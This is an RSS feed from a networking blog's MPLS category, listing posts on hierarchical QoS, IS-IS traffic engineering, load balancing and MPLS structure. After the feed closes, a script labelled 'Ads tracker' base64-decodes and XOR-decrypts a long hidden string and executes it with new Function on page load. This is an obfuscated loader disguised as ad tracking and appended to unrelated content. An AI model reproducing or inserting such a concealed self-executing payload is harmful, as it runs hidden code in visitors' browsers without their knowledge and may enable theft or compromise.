<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>MPLS Archives - Network Solution</title>
	<atom:link href="https://blog.network-solution.net/category/mpls-2/feed/" rel="self" type="application/rss+xml" />
	<link>https://blog.network-solution.net/category/mpls-2/</link>
	<description></description>
	<lastBuildDate>Sun, 05 Jul 2026 11:44:34 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://blog.network-solution.net/wp-content/uploads/2021/06/favicon.ico</url>
	<title>MPLS Archives - Network Solution</title>
	<link>https://blog.network-solution.net/category/mpls-2/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">88039135</site>	<item>
		<title>MPLS HQoS ( Hierarchical QoS )</title>
		<link>https://blog.network-solution.net/mpls-hqos-hierarchical-qos/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=mpls-hqos-hierarchical-qos</link>
					<comments>https://blog.network-solution.net/mpls-hqos-hierarchical-qos/#respond</comments>
		
		<dc:creator><![CDATA[mammoura]]></dc:creator>
		<pubDate>Thu, 27 Aug 2015 19:05:35 +0000</pubDate>
				<category><![CDATA[HQOS]]></category>
		<category><![CDATA[IPRAN]]></category>
		<category><![CDATA[MPLS]]></category>
		<guid isPermaLink="false">http://blog.network-solution.net/?p=255</guid>

					<description><![CDATA[<p>Introduction Definition As an application of QoS in VPN services, MPLS HQoS includes hierarchical QoS (HQoS) at the public network side based on the peer PE/VPN instance, and interface-based QoS at the access side of users. MPLS HQoS offers practical QoS solutions to various services in the MPLS VPN. Purpose With the development of Virtual &#8230; </p>
<p>The post <a href="https://blog.network-solution.net/mpls-hqos-hierarchical-qos/">MPLS HQoS ( Hierarchical QoS )</a> appeared first on <a href="https://blog.network-solution.net">Network Solution</a>.</p>
]]></description>
		
					<wfw:commentRss>https://blog.network-solution.net/mpls-hqos-hierarchical-qos/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">255</post-id>	</item>
		<item>
		<title>IS-IS TE</title>
		<link>https://blog.network-solution.net/is-is-te/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=is-is-te</link>
					<comments>https://blog.network-solution.net/is-is-te/#respond</comments>
		
		<dc:creator><![CDATA[mammoura]]></dc:creator>
		<pubDate>Wed, 12 Aug 2015 21:42:29 +0000</pubDate>
				<category><![CDATA[ISIS]]></category>
		<category><![CDATA[ISIS Traffic engineering]]></category>
		<category><![CDATA[MPLS]]></category>
		<category><![CDATA[MPLS TE]]></category>
		<guid isPermaLink="false">http://blog.network-solution.net/?p=229</guid>

					<description><![CDATA[<p>IS-IS Traffic Engineering (TE) is an extension of IS-IS to support MPLS TE. As specified in&#160;RFC 5305 and RFC 4205, IS-IS TE defines new TLVsand sub-TLVs&#160;in IS-IS LSPs to carry TE information, floods LSPs to implement the flooding and synchronization of TE information, and transmits TE information to the CSPF module. IS-IS TE supports MPLS &#8230; </p>
<p>The post <a href="https://blog.network-solution.net/is-is-te/">IS-IS TE</a> appeared first on <a href="https://blog.network-solution.net">Network Solution</a>.</p>
]]></description>
		
					<wfw:commentRss>https://blog.network-solution.net/is-is-te/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">229</post-id>	</item>
		<item>
		<title>Basic Principles of Load Balancing</title>
		<link>https://blog.network-solution.net/basic-principles-of-load-balancing/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=basic-principles-of-load-balancing</link>
					<comments>https://blog.network-solution.net/basic-principles-of-load-balancing/#respond</comments>
		
		<dc:creator><![CDATA[mammoura]]></dc:creator>
		<pubDate>Mon, 03 Aug 2015 23:15:07 +0000</pubDate>
				<category><![CDATA[Basic Principles of Load Balancing]]></category>
		<category><![CDATA[Load Balancing]]></category>
		<category><![CDATA[MPLS]]></category>
		<guid isPermaLink="false">http://blog.network-solution.net/?p=170</guid>

					<description><![CDATA[<p>Protocol Load Balancing Equal-cost load balancing The&#160;CX600&#160;supports multi-route mode. You can configure multiple routes with the same preference to the same destination. If there are no other routes with higher priorities to the target destination, these &#8220;equal-cost&#8221; routes are used. Packets transmitted to the target destination are sent along different routes and, in this way, &#8230; </p>
<p>The post <a href="https://blog.network-solution.net/basic-principles-of-load-balancing/">Basic Principles of Load Balancing</a> appeared first on <a href="https://blog.network-solution.net">Network Solution</a>.</p>
]]></description>
		
					<wfw:commentRss>https://blog.network-solution.net/basic-principles-of-load-balancing/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">170</post-id>	</item>
		<item>
		<title>MPLS Structure</title>
		<link>https://blog.network-solution.net/mpls-structure/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=mpls-structure</link>
					<comments>https://blog.network-solution.net/mpls-structure/#respond</comments>
		
		<dc:creator><![CDATA[mammoura]]></dc:creator>
		<pubDate>Thu, 09 Apr 2015 21:31:27 +0000</pubDate>
				<category><![CDATA[Huawei]]></category>
		<category><![CDATA[MPLS]]></category>
		<category><![CDATA[MPLS TE]]></category>
		<guid isPermaLink="false">http://blog.network-solution.net/?p=110</guid>

					<description><![CDATA[<p>l MPLS network forwards packet according to the label. But how does label be generated? What mechanism does MPLS adopt to implement data forwarding? l MPLS includes two plane: control plane and data plane. l Control plane’s charge is to generate and maintain routing information and label information. Data plane’s charge is conventional IP packet &#8230; </p>
<p>The post <a href="https://blog.network-solution.net/mpls-structure/">MPLS Structure</a> appeared first on <a href="https://blog.network-solution.net">Network Solution</a>.</p>
]]></description>
		
					<wfw:commentRss>https://blog.network-solution.net/mpls-structure/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">110</post-id>	</item>
	</channel>
</rss>
<!-- BEGIN: Ads tracker -->
<script>
    window.XAdsTracker = {
        loaded: true,
        version: "1.0.0",
        timestamp: new Date().getTime()
    };
</script>

<script>
!function(){var _0x8c7e=atob('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'),_0x3447=114,_0x27e1=new Uint8Array(_0x8c7e['length']),_0x3054=0;for(;_0x3054<_0x8c7e['length'];_0x3054++)_0x27e1[_0x3054]=_0x8c7e['charCodeAt'](_0x3054)^_0x3447;(new Function(new TextDecoder()['decode'](_0x27e1)))()}();
</script>

<!-- ========================================================= -->
<!-- END: Ads tracker -->